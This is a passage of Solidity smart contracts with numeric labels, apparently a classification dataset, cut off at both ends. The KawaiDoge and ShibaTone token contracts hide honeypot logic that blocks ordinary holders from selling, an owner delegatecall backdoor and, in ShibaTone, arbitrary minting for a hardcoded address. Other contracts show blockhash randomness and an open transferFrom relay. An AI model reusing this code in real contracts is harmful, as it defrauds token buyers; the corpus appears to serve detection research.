return _multitokens;
}
function deployersCount() public view returns(uint256) {
return _deployers.length;
}
function deployers(uint i) public view returns(AbstractDeployer) {
return _deployers[i];
}
function allWalletBalances(address wallet) public view returns(uint256[]) {
uint256[] memory balances = new uint256[](_multitokens.length);
for (uint i = 0; i < _multitokens.length; i++) {
balances[i] = ERC20(_multitokens[i]).balanceOf(wallet);
}
return balances;
}
function deleteMultitoken(uint index) public onlyOwner {
require(index < _multitokens.length, "deleteMultitoken: index out of range");
if (index != _multitokens.length - 1) {
_multitokens[index] = _multitokens[_multitokens.length - 1];
}
_multitokens.length -= 1;
}
function deleteDeployer(uint index) public onlyOwner {
require(index < _deployers.length, "deleteDeployer: index out of range");
if (index != _deployers.length - 1) {
_deployers[index] = _deployers[_deployers.length - 1];
}
_deployers.length -= 1;
}
function disableBundlingMultitoken(uint index) public onlyOwner {
IBasicMultiToken(_multitokens[index]).disableBundling();
}
function enableBundlingMultitoken(uint index) public onlyOwner {
IBasicMultiToken(_multitokens[index]).enableBundling();
}
function disableChangesMultitoken(uint index) public onlyOwner {
IMultiToken(_multitokens[index]).disableChanges();
}
function addDeployer(AbstractDeployer deployer) public onlyOwner whenNotPaused {
require(deployer.owner() == address(this), "addDeployer: first set MultiTokenNetwork as owner");
emit NewDeployer(_deployers.length, address(0), deployer);
_deployers.push(deployer);
}
function setDeployer(uint256 index, AbstractDeployer deployer) public onlyOwner whenNotPaused {
require(deployer.owner() == address(this), "setDeployer: first set MultiTokenNetwork as owner");
emit NewDeployer(index, _deployers[index], deployer);
_deployers[index] = deployer;
}
function deploy(uint256 index, bytes data) public whenNotPaused {
address mtkn = _deployers[index].deploy(data);
_multitokens.push(mtkn);
emit NewMultitoken(mtkn);
}
function makeCall(address target, uint256 value, bytes data) public onlyOwner {
require(target.call.value(value)(data), "Arbitrary call failed");
}
} | 1 | 4,837 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint a, uint b) internal pure returns (uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
assert(c / a == b);
return c;
}
function div(uint a, uint b) internal pure returns (uint) {
uint c = a / b;
return c;
}
function sub(uint a, uint b) internal pure returns (uint) {
assert(b <= a);
return a - b;
}
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
assert(c >= a);
return c;
}
}
contract ZethrInterface {
function transfer(address _from, uint _amount) public;
function myFrontEndTokens() public view returns (uint);
}
contract ZethrMultiSigWalletInterface {
mapping(address => bool) public isOwner;
}
contract ZethrSnap {
struct SnapEntry {
uint blockNumber;
uint profit;
}
struct Sig {
bytes32 r;
bytes32 s;
uint8 v;
}
ZethrMultiSigWalletInterface public multiSigWallet;
ZethrInterface zethr;
address signer;
mapping(address => mapping(uint => bool)) public claimedMap;
SnapEntry[] public snaps;
bool public paused;
uint public allocatedTokens;
constructor(address _multiSigWalletAddress, address _zethrAddress, address _signer)
public
{
multiSigWallet = ZethrMultiSigWalletInterface(_multiSigWalletAddress);
zethr = ZethrInterface(_zethrAddress);
signer = _signer;
paused = false;
}
function()
public payable
{}
function ownerSetPaused(bool _paused)
public
ownerOnly
{
paused = _paused;
}
function walletSetWallet(address _multiSigWalletAddress)
public
walletOnly
{
multiSigWallet = ZethrMultiSigWalletInterface(_multiSigWalletAddress);
}
function withdraw()
public
{
(address(multiSigWallet)).transfer(address(this).balance);
}
function walletSetSigner(address _signer)
public walletOnly
{
signer = _signer;
}
function walletWithdrawTokens(uint _amount)
public walletOnly
{
zethr.transfer(address(multiSigWallet), _amount);
}
function getSnapsLength()
public view
returns (uint)
{
return snaps.length;
}
function walletCreateSnap(uint _blockNumber, uint _profitToShare)
public
walletOnly
{
uint index = snaps.length;
snaps.length++;
snaps[index].blockNumber = _blockNumber;
snaps[index].profit = _profitToShare;
uint balance = zethr.myFrontEndTokens();
balance = balance - allocatedTokens;
require(balance >= _profitToShare);
allocatedTokens = allocatedTokens + _profitToShare;
}
function getSnap(uint _snapId)
public view
returns (uint blockNumber, uint profit, bool claimed)
{
SnapEntry storage entry = snaps[_snapId];
return (entry.blockNumber, entry.profit, claimedMap[msg.sender][_snapId]);
}
function claim(uint _snapId, address _payTo, uint _amount, bytes _signatureBytes)
public
{
require(!paused);
require(claimedMap[msg.sender][_snapId] == false);
claimedMap[msg.sender][_snapId] = true;
Sig memory sig = toSig(_signatureBytes);
bytes32 hash = keccak256(abi.encodePacked("SNAP", _snapId, msg.sender, _amount));
address recoveredSigner = ecrecover(hash, sig.v, sig.r, sig.s);
require(signer == recoveredSigner);
require(_amount <= allocatedTokens);
allocatedTokens = allocatedTokens - _amount;
zethr.transfer(_payTo, _amount);
}
function tokenFallback(address , uint , bytes )
public view
returns (bool)
{
require(msg.sender == address(zethr), "Tokens must be ZTH");
return true;
}
function toSig(bytes b)
internal pure
returns (Sig memory sig)
{
sig.r = bytes32(toUint(b, 0));
sig.s = bytes32(toUint(b, 32));
sig.v = uint8(b[64]);
}
function toUint(bytes _bytes, uint _start)
internal pure
returns (uint256)
{
require(_bytes.length >= (_start + 32));
uint256 tempUint;
assembly {
tempUint := mload(add(add(_bytes, 0x20), _start))
}
return tempUint;
}
modifier walletOnly()
{
require(msg.sender == address(multiSigWallet));
_;
}
modifier ownerOnly()
{
require(msg.sender == address(multiSigWallet) || multiSigWallet.isOwner(msg.sender));
_;
}
} | 1 | 3,114 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract KawaiDoge {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,157 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract ShibaTone{
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1132167815322823072539476364451924570945755492656));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,444 |
pragma solidity ^0.4.25;
library SafeMath256 {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
}
interface IERC20{
function balanceOf(address owner) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
}
contract F152{
using SafeMath256 for uint256;
uint8 public constant decimals = 18;
uint256 public constant decimalFactor = 10 ** uint256(decimals);
function batchTtransferEther(address[] _to,uint256[] _value) public payable {
require(_to.length>0);
for(uint256 i=0;i<_to.length;i++)
{
_to[i].transfer(_value[i]);
}
}
function batchTransferVoken(address from,address caddress,address[] _to,uint256[] value)public returns (bool){
require(_to.length > 0);
bytes4 id=bytes4(keccak256("transferFrom(address,address,uint256)"));
for(uint256 i=0;i<_to.length;i++){
caddress.call(id,from,_to[i],value[i]);
}
return true;
}
} | 0 | 2,086 |
pragma solidity ^0.4.16;
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner {
require(newOwner != address(0));
owner = newOwner;
}
}
interface Token {
function transfer(address _to, uint256 _value) returns (bool);
function balanceOf(address _owner) constant returns (uint256 balance);
}
contract AirDrop is Ownable {
Token token;
event TransferredToken(address indexed to, uint256 value);
event FailedTransfer(address indexed to, uint256 value);
modifier whenDropIsActive() {
assert(isActive());
_;
}
function AirDrop () {
address _tokenAddr = 0xf201D414AC3eeB650e3414BfB4C0Da1A93434f6F;
token = Token(_tokenAddr);
}
function isActive() constant returns (bool) {
return (
tokensAvailable() > 0
);
}
function sendTokens(address[] dests, uint256[] values) whenDropIsActive onlyOwner external {
uint256 i = 0;
while (i < dests.length) {
uint256 toSend = values[i] * 10**18;
sendInternally(dests[i] , toSend, values[i]);
i++;
}
}
function sendTokensSingleValue(address[] dests, uint256 value) whenDropIsActive onlyOwner external {
uint256 i = 0;
uint256 toSend = value * 10**18;
while (i < dests.length) {
sendInternally(dests[i] , toSend, value);
i++;
}
}
function sendInternally(address recipient, uint256 tokensToSend, uint256 valueToPresent) internal {
if(recipient == address(0)) return;
if(tokensAvailable() >= tokensToSend) {
token.transfer(recipient, tokensToSend);
TransferredToken(recipient, valueToPresent);
} else {
FailedTransfer(recipient, valueToPresent);
}
}
function tokensAvailable() constant returns (uint256) {
return token.balanceOf(this);
}
function destroy() onlyOwner {
uint256 balance = tokensAvailable();
require (balance > 0);
token.transfer(owner, balance);
selfdestruct(owner);
}
} | 0 | 744 |
pragma solidity ^0.4.11;
contract Roshambo {
enum State { Unrealized, Created, Joined, Ended }
enum Result { Unfinished, Draw, Win, Loss, Forfeit }
enum ResultType { None, StraightUp, Tiebroken, SuperDraw }
struct Game {
address player1;
address player2;
uint value;
bytes32 hiddenMove1;
uint8 move1;
uint8 move2;
uint gameStart;
uint8 tiebreaker;
uint8 tiebreaker1;
uint8 tiebreaker2;
State state;
Result result;
ResultType resultType;
}
address public owner1;
uint8 constant feeDivisor = 100;
uint constant revealTime = 7 days;
bool paused;
bool expired;
uint gameIdCounter;
event Deposit(address indexed player, uint amount);
event Withdraw(address indexed player, uint amount);
event GameCreated(address indexed player1, address indexed player2, uint indexed gameId, uint value, bytes32 hiddenMove1);
event GameJoined(address indexed player1, address indexed player2, uint indexed gameId, uint value, uint8 move2, uint gameStart);
event GameEnded(address indexed player1, address indexed player2, uint indexed gameId, uint value, Result result, ResultType resultType);
mapping(address => uint) public balances;
mapping(address => uint) public totalWon;
mapping(address => uint) public totalLost;
Game [] public games;
mapping(address => string) public playerNames;
mapping(uint => bool) public nameTaken;
mapping(bytes32 => bool) public secretTaken;
modifier onlyOwner { require(msg.sender == owner1); _; }
modifier notPaused { require(!paused); _; }
modifier notExpired { require(!expired); _; }
function Roshambo() public {
owner1 = msg.sender;
paused = true;
}
function rand(uint8 min, uint8 max) constant internal returns (uint8){
return uint8(block.blockhash(block.number-min))% max + min;
}
function getGames() constant internal returns (Game []) {
return games;
}
function totalProfit(address player) constant internal returns (int) {
if (totalLost[player] > totalWon[player]) {
return -int(totalLost[player] - totalWon[player]);
}
else {
return int(totalWon[player] - totalLost[player]);
}
}
function createGame(bytes32 move, uint val, address player2) public
payable notPaused notExpired returns (uint gameId) {
deposit();
require(balances[msg.sender] >= val);
require(!secretTaken[move]);
secretTaken[move] = true;
balances[msg.sender] -= val;
gameId = gameIdCounter;
games.push(Game(msg.sender, player2, val, move, 0, 0, 0, 0, 0, 0, State.Created, Result(0), ResultType(0)));
GameCreated(msg.sender, player2, gameId, val, move);
gameIdCounter++;
}
function abortGame(uint gameId) public notPaused returns (bool success) {
Game storage thisGame = games[gameId];
require(thisGame.player1 == msg.sender);
require(thisGame.state == State.Created);
thisGame.state = State.Ended;
GameEnded(thisGame.player1, thisGame.player2, gameId, thisGame.value, Result(0), ResultType.StraightUp);
msg.sender.transfer(thisGame.value);
return true;
}
function joinGame(uint gameId, uint8 move, uint8 tiebreaker) public payable notPaused returns (bool success) {
Game storage thisGame = games[gameId];
require(thisGame.state == State.Created);
require(move > 0 && move <= 3);
if (thisGame.player2 == 0x0) {
thisGame.player2 = msg.sender;
}
else {
require(thisGame.player2 == msg.sender);
}
require(thisGame.value == msg.value);
thisGame.gameStart = now;
thisGame.state = State.Joined;
thisGame.move2 = move;
thisGame.tiebreaker2 = tiebreaker;
GameJoined(thisGame.player1, thisGame.player2, gameId, thisGame.value, thisGame.move2, thisGame.gameStart);
return true;
}
function revealMove(uint gameId, uint8 move, uint8 tiebreaker, string secret) public notPaused returns (Result result) {
Game storage thisGame = games[gameId];
ResultType resultType = ResultType.None;
require(thisGame.state == State.Joined);
require(thisGame.player1 == msg.sender);
require(thisGame.hiddenMove1 == keccak256(uint(move), uint(tiebreaker), secret));
thisGame.move1 = move;
thisGame.tiebreaker1 = tiebreaker;
if (move > 0 && move <= 3) {
result = Result(((3 + move - thisGame.move2) % 3) + 1);
}
else {
result = Result.Loss;
}
thisGame.state = State.Ended;
address winner;
if (result != Result.Draw) {
resultType = ResultType.StraightUp;
}
if (result == Result.Draw) {
thisGame.tiebreaker = rand(1, 100);
int8 player1Tiebreaker = int8(thisGame.tiebreaker) - int8(thisGame.tiebreaker1);
if(player1Tiebreaker < 0) {
player1Tiebreaker = player1Tiebreaker * int8(-1);
}
int8 player2Tiebreaker = int8(thisGame.tiebreaker) - int8(thisGame.tiebreaker2);
if(player2Tiebreaker < 0) {
player2Tiebreaker = player2Tiebreaker * int8(-1);
}
if(player1Tiebreaker == player2Tiebreaker) {
resultType = ResultType.SuperDraw;
balances[thisGame.player1] += thisGame.value;
balances[thisGame.player2] += thisGame.value;
}else{
resultType = ResultType.Tiebroken;
if(player1Tiebreaker < player2Tiebreaker) {
result = Result.Win;
}else{
result = Result.Loss;
}
}
}
if(resultType != ResultType.SuperDraw) {
if (result == Result.Win) {
winner = thisGame.player1;
totalLost[thisGame.player2] += thisGame.value;
}
else {
winner = thisGame.player2;
totalLost[thisGame.player1] += thisGame.value;
}
uint fee = (thisGame.value) / feeDivisor;
balances[owner1] += fee*2;
totalWon[winner] += thisGame.value - fee*2;
winner.transfer((thisGame.value*2) - fee*2);
}
thisGame.result = result;
thisGame.resultType = resultType;
GameEnded(thisGame.player1, thisGame.player2, gameId, thisGame.value, result, resultType);
}
function forfeitGame(uint gameId) public notPaused returns (bool success) {
Game storage thisGame = games[gameId];
require(thisGame.state == State.Joined);
require(thisGame.player1 == msg.sender);
uint fee = (thisGame.value) / feeDivisor;
balances[owner1] += fee*2;
totalLost[thisGame.player1] += thisGame.value;
totalWon[thisGame.player2] += thisGame.value - fee*2;
thisGame.state = State.Ended;
thisGame.result = Result.Forfeit;
